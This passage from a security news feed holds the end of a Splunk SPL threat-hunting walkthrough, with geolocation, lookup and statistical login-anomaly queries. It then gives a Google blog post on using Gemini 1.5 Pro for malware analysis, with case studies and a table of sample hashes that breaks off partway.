matters.</p><p>IP addresses alone are not very informative.</p><p>Splunk’s iplocation command enriches IP data with geographic metadata.</p><h3>PAYLOAD</h3><pre>index=windowslogs<br>| iplocation SourceIp<br>| stats count by Region</pre><p>Breakdown:</p><pre>| iplocation SourceIp</pre><p>Enriches IP addresses.</p><p>Then:</p><pre>| stats count by Region</pre><p>Summarizes event counts geographically.</p><p>Result:</p><p>California</p><p>Geolocation enrichment is useful for:</p><ul><li>suspicious foreign access</li><li>impossible travel investigations</li><li>cloud-origin traffic review</li><li>VPN anomaly analysis</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*j_4aOplJLAUYEddN.png"></figure><h3>Risk-Based Lookup Enrichment</h3><p>External lookup tables add contextual intelligence.</p><p>This is hugely valuable in production SOC environments.</p><h3>PAYLOAD</h3><pre>index=windowslogs<br>| lookup image_riskscore Image OUTPUT RiskScore<br>| stats count by Image RiskScore<br>| sort - RiskScore</pre><p>Breakdown:</p><pre>| lookup</pre><p>Matches process image names against an external risk database.</p><p>Then:</p><pre>| stats</pre><p>Aggregates the results.</p><p>Finally:</p><pre>| sort - RiskScore</pre><p>Shows highest-risk entries first.</p><p>Result:</p><pre>C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</pre><p>This makes sense — PowerShell is frequently abused for offensive activity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7LMDwzEJaKsO2gMx.png"></figure><h3>Why Lookups Matter in Real SOC Operations</h3><p>Lookups commonly provide:</p><ul><li>IOC intelligence</li><li>malware reputation</li><li>user role context</li><li>asset classification</li><li>vulnerability severity</li><li>business criticality mapping</li></ul><p>Without enrichment, logs are just raw data.</p><p>With enrichment, they become actionable intelligence.</p><h3>Anomaly Detection with SPL</h3><p>Not every malicious event screams for attention.</p><p>Some of the most interesting threats hide inside what initially appears to be legitimate activity.</p><p>A valid VPN login. A known employee account. A familiar IP range. A routine process.</p><p>This is why anomaly detection matters.</p><p>Instead of asking:</p><p>“Is this explicitly malicious?”</p><p>we ask:</p><p>“Is this behavior unusual?”</p><p>That shift is where threat hunting becomes significantly more effective.</p><h3>Detecting Outliers by Country</h3><p>Imagine reviewing a VPN dataset containing thousands of login events.</p><p>Each record contains:</p><ul><li>login timestamp</li><li>username</li><li>source IP</li><li>source country</li></ul><p>At first glance, nothing looks suspicious.</p><p>But what if a user who always logs in from one region suddenly appears from a completely different country?</p><p>That is exactly what we’re hunting for.</p><h3>PAYLOAD</h3><pre>index=vpnlogs<br>| eventstats count as logins_by_user by user<br>| eventstats count as logins_by_user_country by user src_country<br>| eval country_freq=logins_by_user_country/logins_by_user<br>| where country_freq &lt; 0.1<br>| table _time user src_ip src_country country_freq</pre><p>Let’s break this down.</p><h3>Step 1: Count Total Logins Per User</h3><pre>| eventstats count as logins_by_user by user</pre><p>This calculates:</p><p>Total login events per user</p><p>Example:</p><p>If user kbrown logged in 200 times:</p><pre>logins_by_user = 200</pre><p>Unlike stats, eventstats preserves raw events while appending calculated values.</p><p>That makes it perfect for enrichment-style analysis.</p><h3>Step 2: Count User Logins Per Country</h3><pre>| eventstats count as logins_by_user_country by user src_country</pre><p>Now we calculate:</p><p>How many times each user logged in from each country</p><p>Example:</p><p>If kbrown logged in only once from Japan:</p><pre>logins_by_user_country = 1</pre><h3>Step 3: Calculate Behavioral Frequency</h3><pre>| eval country_freq=logins_by_user_country/logins_by_user</pre><p>This creates a behavioral ratio.</p><p>Example:</p><pre>1 / 200 = 0.005</pre><p>Meaning:</p><p>That country accounts for only 0.5% of the user’s login behavior.</p><p>That’s interesting.</p><h3>Step 4: Filter Rare Behavior</h3><pre>| where country_freq &lt; 0.1</pre><p>This keeps only behaviors occurring less than 10% of the time.</p><p>That threshold defines anomaly sensitivity.</p><p>Lower threshold:</p><ul><li>stricter detections</li><li>fewer false positives</li></ul><p>Higher threshold:</p><ul><li>noisier results</li><li>broader detection</li></ul><h3>Step 5: Investigation-Friendly Output</h3><pre>| table _time user src_ip src_country country_freq</pre><p>Creates readable analyst output.</p><p>Instead of messy raw events, we now get structured suspicious login candidates.</p><p>Result:</p><p>Outlier user:</p><p>jsmith</p><p>Anomalous country:</p><p>JP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MrSPFjnU1jTxPz09.png"></figure><h3>Why This Matters</h3><p>Traditional rule-based detection might ignore:</p><p>“Valid user successfully authenticated.”</p><p>Behavioral detection asks:</p><p>“Why is this user suddenly authenticating from Japan?”</p><p>That context changes everything.</p><h3>Detecting Suspicious Login Hours</h3><p>Geographic anomalies are useful.</p><p>But attackers can also reveal themselves through strange timing.</p><p>Example:</p><p>An employee usually logs in around:</p><p>1 PM</p><p>Then suddenly authenticates at:</p><p>3 AM</p><p>That deserves attention.</p><h3>PAYLOAD</h3><pre>index=vpnlogs<br>| eval hour=tonumber(strftime(_time, "%H")) + tonumber(strftime(_time, "%M"))/60<br>| eventstats avg(hour) as typical_hour stdev(hour) as stdev_hour by user<br>| eval zscore=abs(hour - typical_hour) / stdev_hour<br>| where zscore &gt; 3<br>| eval hour=round(hour, 2), typical_hour=round(typical_hour, 2)<br>| eval stdev_hour=round(stdev_hour, 2), zscore=round(zscore, 2)<br>| table _time user src_ip src_country hour typical_hour stdev_hour zscore<br>| sort - hour_zscore</pre><p>This is practical statistical anomaly hunting.</p><h3>Step 1: Convert Time into Numeric Hours</h3><pre>| eval hour=tonumber(strftime(_time, "%H")) + tonumber(strftime(_time, "%M"))/60</pre><p>Examples:</p><ul><li>13:30 → 13.5</li><li>18:15 → 18.25</li><li>03:00 → 3.0</li></ul><p>Why?</p><p>Because statistical analysis requires numeric values.</p><h3>Step 2: Learn Normal Login Behavior</h3><pre>| eventstats avg(hour) as typical_hour stdev(hour) as stdev_hour by user</pre><p>This calculates:</p><ul><li>average login hour</li><li>standard deviation</li></ul><p>Example:</p><pre>typical_hour = 13.5<br>stdev_hour = 0.8</pre><p>Meaning:</p><p>User normally logs in around 1:30 PM, with relatively predictable behavior.</p><h3>Step 3: Calculate Z-Score</h3><pre>| eval zscore=abs(hour - typical_hour) / stdev_hour</pre><p>Z-score measures anomaly severity.</p><p>Interpretation:</p><ul><li>1 → slightly unusual</li><li>2 → notable</li><li>3+ → highly suspicious</li></ul><p>Example:</p><p>Normal:</p><pre>13.5</pre><p>Observed:</p><pre>3.0</pre><p>That’s a major deviation.</p><h3>Step 4: Keep Only Strong Outliers</h3><pre>| where zscore &gt; 3</pre><p>This aggressively reduces noise.</p><p>Only statistically significant anomalies survive.</p><h3>Step 5: Investigation Output</h3><pre>| table</pre><p>Creates structured review output for analysts.</p><h3>Result</h3><p>Suspicious user:</p><p>njackson</p><p>Observed login:</p><p>3 AM</p><p>That is highly abnormal compared to baseline behavior.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nFCehhrszDvCX_fW.png"></figure><h3>Why Statistical Detection Is Smarter</h3><p>Naive rule:</p><blockquote><em>Alert on every 3 AM login</em></blockquote><p>Problem:</p><p>Night-shift employees trigger endless false positives.</p><p>Behavioral detection instead asks:</p><blockquote><em>Is 3 AM unusual for THIS specific user?</em></blockquote><p>That’s significantly more intelligent.</p><h3>Real-World Takeaways</h3><p>This room reinforces practical SOC investigation workflows.</p><h3>Search &amp; Filtering</h3><p>Useful for:</p><ul><li>authentication review</li><li>IOC hunting</li><li>endpoint triage</li><li>log scoping</li></ul><p>Commands used:</p><ul><li>search</li><li>operators</li><li>fields</li><li>regex</li></ul><h3>Structuring</h3><p>Useful for:</p><ul><li>timelines</li><li>reporting</li><li>investigation readability</li></ul><p>Commands used:</p><ul><li>table</li><li>reverse</li></ul><h3>Transforming</h3><p>Useful for:</p><ul><li>baselining</li><li>summarization</li><li>pattern discovery</li></ul><p>Commands used:</p><ul><li>top</li><li>stats</li><li>chart</li><li>timechart</li></ul><h3>Enrichment</h3><p>Useful for:</p><ul><li>contextual intelligence</li><li>business-aware detection</li><li>suspicious origin analysis</li></ul><p>Commands used:</p><ul><li>iplocation</li><li>lookup</li></ul><h3>Behavioral Detection</h3><p>Useful for:</p><ul><li>compromised account hunting</li><li>insider threat detection</li><li>VPN anomaly analysis</li><li>unusual activity detection</li></ul><p>Commands used:</p><ul><li>eventstats</li><li>eval</li><li>where</li><li>statistical logic</li></ul><h3>Final Thoughts</h3><p>Splunk SPL is far more than just query syntax.</p><p>It is investigative thinking translated into search logic.</p><p>The real shift happens when you move from:</p><p>“I have logs.”</p><p>to:</p><p>“I understand what happened.”</p><p>That’s where analysts become hunters.</p><h3>Outro</h3><p>If this walkthrough helped you, feel free to connect with me:</p><p><strong>GitHub: </strong><a href="https://github.com/AdityaBhatt3010">https://github.com/AdityaBhatt3010</a><br><strong>LinkedIn:</strong> <a href="https://www.linkedin.com/in/adityabhatt3010/">https://www.linkedin.com/in/adityabhatt3010/</a><br><strong>Medium: </strong><a href="https://medium.com/@adityabhatt3010">https://medium.com/@adityabhatt3010</a></p><p>More writeups soon. Cleaner, deeper and built from too many late-night labs.</p><p>If you found this useful, consider starring the repository and following my cybersecurity journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=ff138c4c7d51" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/splunk-exploring-spl-a-practical-soc-analyst-walkthrough-for-search-detection-and-threat-hunting-ff138c4c7d51">Splunk Exploring SPL: A Practical SOC Analyst Walkthrough for Search, Detection, and Threat Hunting</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[From Assistant to Analyst: The Power of Gemini 1.5 Pro for Malware Analysis]]></title>
<description><![CDATA[Executive Summary

A growing amount of malware has naturally increased workloads for defenders and particularly malware analysts, creating a need for improved automation and approaches to dealing with this classic threat.
With the recent rise in generative AI tools, we decided to put our own Gemi...]]></description>
<link>https://tsecurity.de/de/3578863/it-security-nachrichten/from-assistant-to-analyst-the-power-of-gemini-15-pro-for-malware-analysis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3578863/it-security-nachrichten/from-assistant-to-analyst-the-power-of-gemini-15-pro-for-malware-analysis/</guid>
<pubDate>Sun, 07 Jun 2026 08:22:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><h2><span>Executive Summary</span></h2>
<ul>
<li role="presentation"><span>A growing amount of malware has naturally increased workloads for defenders and particularly malware analysts, creating a need for improved automation and approaches to dealing with this classic threat.</span></li>
<li role="presentation"><span>With the recent rise in generative AI tools, we decided to put our own <a href="https://console.cloud.google.com/freetrial?redirectPath=/vertex-ai/generative/multimodal/create/text?model=gemini-1.5-pro-preview-0409">Gemini 1.5 Pro</a> to the test to see how it performed at analyzing malware. By providing code and using a simple prompt, we asked Gemini 1.5 Pro to determine if the file was malicious, and also to provide a list of activities and indicators of compromise.</span></li>
<li role="presentation"><span>We did this for multiple malware files, testing with both decompiled and disassembled code, and Gemini 1.5 Pro was notably accurate each time, generating summary reports in human-readable language. Gemini 1.5 Pro was even able to make an accurate determination of code that — at the time — was receiving zero detections on VirusTotal. </span></li>
<li role="presentation"><span>In our testing with other similar gen AI tools, we were required to divide the code into chunks, which led to vague and non-specific outcomes, and affected the overall analysis. Gemini 1.5 Pro, however, processed the entire code in a single pass, and often in about 30 to 40 seconds.</span></li>
</ul>
<h2>Introduction</h2>
<p><span>The explosive growth of malware continues to challenge traditional, manual analysis methods, underscoring the urgent need for improved automation and innovative approaches. Generative AI models have become invaluable in some aspects of malware analysis, yet their effectiveness in handling large and complex malware samples has been limited. The <a href="https://blog.google/technology/ai/google-gemini-next-generation-model-february-2024" rel="noopener" target="_blank">introduction of Gemini 1.5 Pro</a>, capable of processing up to 1 million tokens, marks a significant breakthrough. This advancement not only empowers AI to function as a powerful assistant in automating the malware analysis workflow but also significantly scales up the automation of code analysis. By substantially increasing the processing capacity, Gemini 1.5 Pro paves the way for a more adaptive and robust approach to cybersecurity, helping analysts manage the asymmetric volume of threats more effectively and efficiently.</span></p>
<h2><span>Traditional Techniques for Automated Malware Analysis</span></h2>
<p><span>The foundation of automated malware analysis is built on a combination of static and dynamic analysis techniques, both of which play crucial roles in dissecting and understanding malware behavior. Static analysis involves examining the malware without executing it, providing insights into its code structure and unobfuscated logic. Dynamic analysis, on the other hand, involves observing the execution of the malware in a controlled environment to monitor its behavior, regardless of obfuscation. Together, these techniques are leveraged to gain a comprehensive understanding of malware.</span></p>
<p><span>Parallel to these techniques, AI and machine learning (ML) have increasingly been employed to classify and cluster malware based on behavioral patterns, signatures, and anomalies. These methodologies have ranged from supervised learning, where models are trained on labeled datasets, to unsupervised learning for clustering, which identifies patterns without predefined labels to group similar malware.</span></p>
<p><span>Despite technological advancements, the increasing complexity and volume of malware present substantial challenges. While ML enhances the detection of malware variants, it remains inadequate against completely new threats. This detection gap allows advanced attacks to slip through cybersecurity defenses, compromising system protection.</span></p>
<h2><span>Generative AI as Malware Analysis Assistant </span></h2>
<p><a href="https://blog.virustotal.com/2023/04/introducing-virustotal-code-insight.html" rel="noopener" target="_blank"><span>Code Insight</span></a><span>, unveiled at the RSA Conference 2023, marked a significant step forward in leveraging generative AI (gen AI) for malware analysis. This novel feature of Google's VirusTotal platform specializes in analyzing code snippets and generating reports in natural language, effectively emulating the approach of a malware analyst. Initially supporting PowerShell scripts, Code Insight later expanded to other scripting languages and file formats, including Batch, Shell, VBScript, and Office documents.</span></p>
<p><span>By processing the code and generating summary reports, Code Insight assists analysts in understanding the behavior of the code and identifying attack techniques. This includes uncovering hidden functionalities, malicious intent, and potential attack vectors that might be </span><a href="https://blog.virustotal.com/2024/01/uncovering-hidden-threats-with.html" rel="noopener" target="_blank"><span>missed by traditional detection methods</span></a><span>.</span></p>
<p><span>However, due to the inherent constraints of large language models (LLMs) and their limited token input capacity, the size of files that Code Insight could handle was restricted. Although there have been continuous improvements to increase the maximum file size limit and support more formats, analyzing binaries and executables still poses a significant challenge. When these files are disassembled or decompiled, their code size typically surpasses the processing capabilities of the LLMs available at the time. Consequently, gen AI models have functioned primarily as assistants to human analysts, enabling the analysis of specific code fragments from binaries rather than processing the entire code, which is often too voluminous for these models.</span></p>
<h2><span>Reverse Engineering: The Human Face of Malware Analysis</span></h2>
<p><span>Reverse engineering is arguably the most advanced malware analysis technique available to cybersecurity professionals. This process involves disassembling the binaries of malicious software and carrying out a meticulous examination of the code. Through reverse engineering, analysts can uncover the exact functionality of malware and understand its execution flow. However, this method is not without its challenges. It requires an immense amount of time, a deep level of expertise, and an analytical mindset to interpret each instruction, data structure, and function call to reconstruct the malware's logic and uncover its secrets.</span></p>
<p><span>Furthermore, scaling reverse engineering efforts poses a significant challenge. The scarcity of specialized talent in this field exacerbates the difficulty of conducting these analyses at scale. Given the intricate and time-consuming nature of reverse engineering, the cybersecurity community has long sought ways to augment this process, making it more efficient and accessible.</span></p>
<h2><span>Gemini 1.5 Pro: Scalable Reverse Engineering for Malware Analysis</span></h2>
<p><span>The ability to process prompts of up to 1 million tokens enables a qualitative leap in malware analysis, particularly in the realm of reverse engineering. This advancement finally brings the power of gen AI to the analysis of binaries and executables, a task previously reserved for highly skilled human analysts due to its complexity.</span></p>
<p><span>How does Gemini 1.5 Pro achieve this?</span></p>
<ul>
<li role="presentation"><strong>Increased capacity</strong><span>: With its expanded token limit, Gemini 1.5 Pro can entirely analyze some disassembled or decompiled executables in a single pass, eliminating the need to break down code into smaller fragments. This is crucial because fragmenting code can lead to a loss of context and important correlations between different parts of the program. When analyzing only small snippets, it is difficult to understand the overall functionality and behavior of the malware, potentially missing key insights into its purpose and operation. By analyzing the entire code at once, Gemini 1.5 Pro gains a holistic understanding of the malware, allowing for more accurate and comprehensive analysis.</span></li>
<li role="presentation"><strong>Code interpretation</strong><span>: Gemini 1.5 Pro can interpret the intent and purpose of the code, not just identify patterns or similarities. This is possible due to its training on a massive dataset of code, encompassing assembly language from various architectures, high-level languages like C, and pseudo-code produced by decompilers. This extensive knowledge base, combined with its understanding of operating systems, networking, and cybersecurity principles, allows Gemini 1.5 Pro to effectively emulate the reasoning and judgment of a malware analyst. As a result, it can predict the malware's actions and provide valuable insights even for never-seen-before threats. For more information on this, see the zero day case study section later in this post.</span></li>
<li role="presentation"><strong>Detailed analysis</strong><span>: Gemini 1.5 Pro can generate summary reports in human-readable language, making the analysis process more accessible and efficient. This goes far beyond the simple verdicts typically provided by traditional machine learning algorithms for classification and clustering. Gemini 1.5 Pro's reports can include detailed information about the malware's functionality, behavior, and potential attack vectors, as well as indicators of compromise (IOCs) that can be used to feed other security systems and improve threat detection and prevention capabilities.</span></li>
</ul>
<p><span>Let's explore a practical case study to examine how Gemini 1.5 Pro performs in analyzing decompiled code with a representative malware sample. We processed two WannaCry binaries automatically using the Hex-Rays decompiler, without adding any annotations or additional context. This approach resulted in two C code files, one 268 KB and the other 231 KB in size, which together amount to more than 280,000 tokens for processing by the LLM.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig1.max-1000x1000.png" alt="gemini-for-malware-analysis-fig1">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>In our testing with other similar gen AI tools, we faced the necessity of dividing the code into chunks. This fragmentation often compromised the comprehensiveness of the analysis, resulting in vague and non-specific outcomes. These limitations highlight the challenges of using such tools with complex code bases.</span></p>
<p><span>Gemini 1.5 Pro, however, marks a significant departure from these constraints. It processes the entire decompiled code in a single pass, taking just 34 seconds to deliver its analysis. The initial summary provided by Gemini 1.5 Pro is notably accurate, showcasing its ability to handle large and complex datasets seamlessly and effectively:</span></p>
<ul>
<li role="presentation"><span>Issues a malicious verdict associated with ransomware</span></li>
<li role="presentation"><span>Identifies some files as IOCs (c.wnry and tasksche.exe)</span></li>
<li role="presentation"><span>Acknowledges the use of an algorithm to generate IP addresses and perform network scans to find targets on port 445/SMB to spread to other computers</span></li>
<li role="presentation"><span>Identifies URL/domain (WannaCry's "killswitch") and relevant registry key and mutex</span></li>
</ul></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig2.max-1000x1000.png" alt="gemini-for-malware-analysis-fig2">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>While it might seem that Gemini 1.5 Pro's report of WannaCry is based on pre-trained knowledge of this specific malware, this isn't the case. The analysis comes from the model's ability to independently interpret the code. This will become even clearer as we look at the upcoming examples where Gemini 1.5 Pro analyzes unfamiliar malware samples, demonstrating its wide-ranging capabilities.</span></p>
<h2><span>LLM on Code: Disassembled vs. Decompiled</span></h2>
<p><span>In the previous example showcasing WannaCry analysis, there was a crucial step before feeding the code to the LLM: decompilation. This process, which transforms binary code into a higher-level representation like C, is fully automated and mirrors the initial steps taken by malware analysts when manually dissecting malicious software. But what is the difference between disassembled and decompiled code, and how does it impact LLM analysis?</span></p>
<ul>
<li role="presentation"><span>Disassembly: This process converts binary code into assembly language, a low-level representation specific to the processor architecture. While human-readable, assembly code is still quite complex and requires significant expertise to understand. It is also much longer and more repetitive than the original source code.</span></li>
<li role="presentation"><span>Decompilation: This process attempts to reconstruct the original source code from the binary. While not always perfect, decompilation can significantly improve readability and conciseness compared to disassembled code. It achieves this by identifying high-level constructs like functions, loops, and variables, making the code easier to understand for analysts.</span></li>
</ul>
<p><span>Given these factors, when using LLMs for binary analysis, decompilation offers several advantages on efficiency and scalability. The shorter and more structured output from decompilation fits more readily within the processing constraints of LLMs, allowing for a more efficient analysis of large or complex binaries. In fact, the output from a decompiler is five to 10 times more concise than that produced by a disassembler.</span></p>
<p><span>Disassembly is necessary to perform accurate decompilation and remains an invaluable tool in certain scenarios where detailed, low-level analysis is crucial. Given the structured and higher-level nature of decompiled output, there are specific circumstances where disassembly provides insights that decompilation cannot match.</span></p>
<p><span>Fortunately, Gemini 1.5 Pro demonstrates equal capability in processing both high-level languages and assembly across various architectures. Thus, our implementation for automating binary analysis can utilize both strategies or adopt a hybrid approach, as suited to the specific circumstances of each case. This flexibility allows us to tailor our analysis method to the nature of the binary in question, optimizing for efficiency, depth of insight, and the specific objectives of the analysis, whether that means dissecting the logic and flow of the program or diving into the intricate details of its low-level operations.</span></p>
<p><span>Next, we'll examine a case where we directly employ disassembly for analysis. This time, we're working with a more recent and unknown binary; in fact, the executable submitted to VirusTotal is flagged as malicious by only four out of the 70 VirusTotal anti-malware engines, and only in a generic sense, without providing any details about the malware family that could offer further clues about its behavior.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig3.max-1000x1000.png" alt="gemini-for-malware-analysis-fig3">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig4.max-1000x1000.png" alt="gemini-for-malware-analysis-fig4">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>After automatic preprocessing with HexRays/IDA Pro, the 306.50 KB executable binary produces a 1.5 MB assembly file that Gemini 1.5 Pro can process in a single pass within 46 seconds , thanks to its large token window in the prompt. This capability allows for an analysis of the entire assembly output, offering detailed insights into the binary's operations.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig5.max-1000x1000.png" alt="gemini-for-malware-analysis-fig5">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>This case of the unknown binary showcases the remarkable capabilities of Gemini 1.5 Pro. Despite only four out of 70 anti-malware engines on VirusTotal flagging the file as malicious—using only generic signatures—Gemini 1.5 Pro identified the file as malicious, providing a detailed explanation for its verdict. The file is likely a game cheat designed to inject a game hack dynamic-link library (DLL) into the Grand Theft Auto video game process. The designation of "malicious" may depend on perspective: deemed malicious by the game's developers or their security team focused on anti-cheating measures, yet potentially desirable for some players. Nevertheless, this automated first-pass analysis is not only impressive but also illuminating regarding the nature and intent of the binary.</span></p>
<h2><span>Unveiling the Unknown: A Case Study in Zero-Day Detection</span></h2>
<p><span>The true test of any malware analysis tool lies in its ability to identify never-before-seen threats undetected by traditional methods and proactively protecting systems from zero-day attacks. Here, we examine a case where an executable file is undetected by any anti-virus or sandbox on VirusTotal.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig6.max-1000x1000.png" alt="gemini-for-malware-analysis-fig6">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>The 833 KB file, medui.exe, was decompiled into 189,080 tokens and subsequently processed by Gemini 1.5 Pro in a mere 27 seconds to produce a complete malware analysis report in a single pass.</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig7.max-1000x1000.png" alt="gemini-for-malware-analysis-fig7">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/gemini-for-malware-analysis-fig8.max-1000x1000.png" alt="gemini-for-malware-analysis-fig8">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>This analysis revealed suspicious functionalities, leading Gemini 1.5 Pro to issue a malicious verdict. Based on its observations, it concluded that the primary goal of this malware is to steal cryptocurrency by hijacking Bitcoin transactions and evading detection through the disabling of security software.</span></p>
<p><span>This showcases Gemini's ability to go beyond simple pattern matching or ML classification and leverage its deep understanding of code behavior to identify malicious intent, even in previously unseen threats. This is a significant advancement in the field of malware analysis, as it allows us to proactively detect and respond to new and emerging threats that traditional methods might miss.</span></p>
<h2><span>From Assistant to Analyst</span></h2>
<p><span>Gemini 1.5 Pro unlocks impressive capabilities, enabling the analysis of large volumes of decompiled and disassembled code. It has the potential to significantly change our approach to fighting malware by enhancing efficiency, accuracy, and our ability to scale in response to a growing number of threats.</span></p>
<p><span>However, it's important to remember that this is just the beginning. While Gemini 1.5 Pro represents a significant leap forward, the field of gen AI is still in its infancy. There are several challenges that need to be addressed to achieve truly robust and reliable automated malware analysis:</span></p>
<ul>
<li role="presentation"><span>Obfuscation and packing: Malware authors are constantly developing new techniques to obfuscate their code and evade detection. In response, there's a growing need to not only continuously improve gen AI models but also to enhance the preprocessing of binaries before analysis. Adopting dynamic approaches that utilize various preprocessing tools can more effectively unpack and deobfuscate malware. This preparatory step is crucial for enabling gen AI models to accurately analyze the underlying code, ensuring they keep pace with evolving obfuscation techniques and remain effective in detecting and understanding sophisticated malware threats.</span></li>
<li role="presentation"><span>Increasing binary size: The complexity of modern software is mirrored in the growing size of its binaries. This trend presents a significant challenge, as the majority of gen AI models are constrained by much lower token window limits. In contrast, Gemini 1.5 Pro stands out by supporting up to 1 million tokens—currently the highest known capacity in the field. Nevertheless, even with this remarkable capability, Gemini 1.5 Pro may encounter limitations when handling exceptionally large binaries. This underscores the ongoing need for advancements in AI technology to accommodate the analysis of increasingly large files, ensuring comprehensive and effective malware analysis as software complexity continues to escalate.</span></li>
<li role="presentation"><span>Evolving attack techniques: As attackers continuously innovate, crafting new methods to bypass security measures, the challenge for gen AI models extends beyond simple adaptability. These models must not only learn and recognize new threats but also evolve in conjunction with the efforts of researchers and developers. There's a need to devise new methods for automating the preprocessing of threat data, which would enrich the context provided to AI models. For instance, integrating additional data from static and dynamic analysis tools, such as sandbox reports, plus the decompiled and disassembled code, can significantly enhance the models' understanding and detection capabilities. </span></li>
</ul>
<p><span>The journey towards scaling automated malware analysis is ongoing, but Gemini 1.5 Pro marks a significant milestone. Give <a href="https://console.cloud.google.com/freetrial?redirectPath=/vertex-ai/generative/multimodal/create/text?model=gemini-1.5-pro-preview-0409">Gemini 1.5 Pro a try</a>; we look forward to seeing the innovative ways the community leverages it to enhance security operations.</span></p>
<p><span>At </span><a href="https://safety.google/intl/en_en/engineering-center-malaga/" rel="noopener" target="_blank"><span>GSEC Malaga</span></a><span>, we continue to research and develop ways to apply these models effectively in AI, pushing the boundaries of what's possible in cybersecurity and contributing to a safer digital future.</span> </p>
<h2><span>Malware Details</span></h2>
<p><span>The following table contains details on the malware samples discussed in this post.<br><br></span></p>
<div align="left">
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div>
<div><table><colgroup><col><col><col><col><col></colgroup>
<tbody>
<tr>
<td>
<p><strong>Filename</strong></p>
</td>
<td>
<p><strong>SHA-256 Hash</strong></p>
</td>
<td>
<p><strong>Size</strong></p>
</td>
<td>
<p><strong>First Seen</strong></p>
</td>
<td>
<p><strong>File Type</strong></p>
</td>
</tr>
<tr>
<td>
<p><span>lhdfrgui.exe (WannaCry dropper)</span></p>
</td>
<td>
<p><span>24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c</span></p>
</td>
<td>
<p><span>3.55 MB (3723264 bytes)</span></p>
</td>
<td>
<p><span>2017-05-12</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>tasksche.exe (WannaCry cryptor)</span></p>
</td>
<td>
<p><span>ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa</span></p>
</td>
<td>
<p><span>3.35 MB (3514368 bytes)</span></p>
</td>
<td>
<p><span>2017-05-12</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
<tr>
<td>
<p><span>EXEC.exe</span></p>
</td>
<td>
<p><span>1917ec456c371778a32bdd74e113b07f33208740327c3cfef268898cbe4efbfe</span></p>
</td>
<td>
<p><span>306.50 KB (313856 bytes)</span></p>
</td>
<td>
<p><span>2022-04-18</span></p>
</td>
<td>
<p><span>Win32 EXE</span></p>
</td>
</tr>
